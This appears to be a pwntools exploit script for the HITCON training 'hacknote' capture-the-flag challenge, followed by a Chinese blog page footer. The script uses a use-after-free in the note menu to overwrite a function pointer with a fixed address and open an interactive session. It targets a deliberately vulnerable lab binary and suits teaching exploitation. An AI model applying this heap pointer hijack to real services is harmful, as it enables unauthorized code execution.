from pwn import *
p = process('./hacknote')
def add(size, content):
p.sendlineafter('Your choice :', '1')
p.sendlineafter('Note size :', str(size))
p.sendlineafter('Content :', content)
def delete(idx):
p.sendlineafter('Your choice :', '2')
p.sendlineafter('Index :', str(idx))
def prints(idx):
p.sendlineafter('Your choice :', '3')
p.sendlineafter('Index :', str(idx))
magic = 0x08048945
add(16, '')
add(16, '')
delete(0)
delete(1)
add(4, p32(magic))
prints(0)
p.interactive()
hitcontraining hacknote
最新推荐文章于 2024-07-05 21:25:59 发布